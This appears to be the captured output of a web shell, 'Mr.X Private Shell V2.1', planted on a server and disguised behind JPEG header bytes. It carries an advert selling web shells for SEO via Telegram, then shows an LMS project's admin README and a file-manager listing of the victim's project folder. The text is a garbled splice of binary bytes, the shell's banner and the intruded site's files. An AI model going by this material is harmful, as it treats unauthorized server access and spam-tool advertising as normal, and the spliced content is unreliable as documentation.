����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
# Admin Module
This module implements the Admin functionalities for the LMS system. It provides authentication for admin users and APIs for managing users, classes, and departments.
## Features
### Authentication
- Admin registration
- Admin login with JWT token-based authentication
### User Management
- Create users (students, teachers)
- Get list of users with filters
- Get user details by ID
- Update user information
### Class Management
- Create classes with course, teacher, and schedule information
- List all classes with filters and pagination
- Get detailed information about a class
- Update class details
- Delete classes (if they don't have enrolled students)
### Department Management
- Create departments (academic, administrative, support)
- List all departments with filters and pagination
- Get detailed information about a department
- Update department details including department head
- Delete departments (if they don't have members)
## API Endpoints
### Authentication
- `POST /admin/register` - Register a new admin user
- `POST /admin/login` - Login as admin and get access token
### User Management
- `GET /admin/all-users` - Get list of all users (with optional role filter)
- `POST /admin/create-user` - Create a new user (student or teacher)
- `GET /admin/user/:id` - Get details of a specific user
- `PUT /admin/update-user/:id` - Update a user's information
### Class Management
- `GET /admin/classes` - Get list of classes with filters
- `POST /admin/classes` - Create a new class
- `GET /admin/classes/:id` - Get details of a specific class
- `PUT /admin/classes/:id` - Update a class's information
- `DELETE /admin/classes/:id` - Delete a class
### Department Management
- `GET /admin/departments` - Get list of departments with filters
- `POST /admin/departments` - Create a new department
- `GET /admin/departments/:id` - Get details of a specific department
- `PUT /admin/departments/:id` - Update a department's information
- `DELETE /admin/departments/:id` - Delete a department
## Sample Request Bodies
### Create Class
```json
{
"name": "Grade 5-A",
"section": "A",
"courseId": "60d0fe4f5311236168a109ca",
"teacherId": "60d0fe4f5311236168a109cb",
"startTime": "2023-09-01T08:00:00.000Z",
"endTime": "2023-09-01T09:30:00.000Z",
"days": ["Monday", "Wednesday", "Friday"],
"academicYear": "2023-2024",
"semester": "Fall"
}
```
### Update Class
```json
{
"name": "Grade 5-B",
"teacherId": "60d0fe4f5311236168a109cc",
"days": ["Tuesday", "Thursday"],
"active": true
}
```
### Create Department
```json
{
"name": "Science Department",
"description": "Department for science subjects",
"type": "academic",
"headId": "60d0fe4f5311236168a109cd"
}
```
### Update Department
```json
{
"description": "Updated department for science subjects",
"headId": "60d0fe4f5311236168a109ce",
"active": true
}
```
## Authentication and Authorization
All admin endpoints (except registration and login) are protected by the `adminAuth` middleware which verifies that the request is coming from an authenticated admin user with a valid JWT token.
## Models Used
- `Admin` - For admin user data and authentication
- `User` - For student and teacher data
- `Class` - For class information
- `Course` - For course information (referenced by `Class`)
- `Department` - For department information | Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| config | Folder | 0755 |
|
|
| controllers | Folder | 0755 |
|
|
| middlewares | Folder | 0755 |
|
|
| models | Folder | 0755 |
|
|
| node_modules | Folder | 0755 |
|
|
| routes | Folder | 0755 |
|
|
| service | Folder | 0755 |
|
|
| tmp | Folder | 0755 |
|
|
| uploads | Folder | 0755 |
|
|
| utils | Folder | 0755 |
|
|
| validations | Folder | 0755 |
|
|
| .htaccess | File | 1011 B | 0644 |
|
| README_ADMIN.md | File | 3.3 KB | 0644 |
|
| README_AUTH.md | File | 3.13 KB | 0644 |
|
| README_HR.md | File | 5.05 KB | 0644 |
|
| README_TEACHER.md | File | 3.53 KB | 0644 |
|
| package-lock.json | File | 118.83 KB | 0644 |
|
| package.json | File | 573 B | 0644 |
|
| server.js | File | 2.14 KB | 0644 |
|
| stderr.log | File | 95.22 KB | 0644 |
|
| teacher portal.pdf | File | 4.14 MB | 0644 |
|
| vercel.json | File | 185 B | 0644 |
|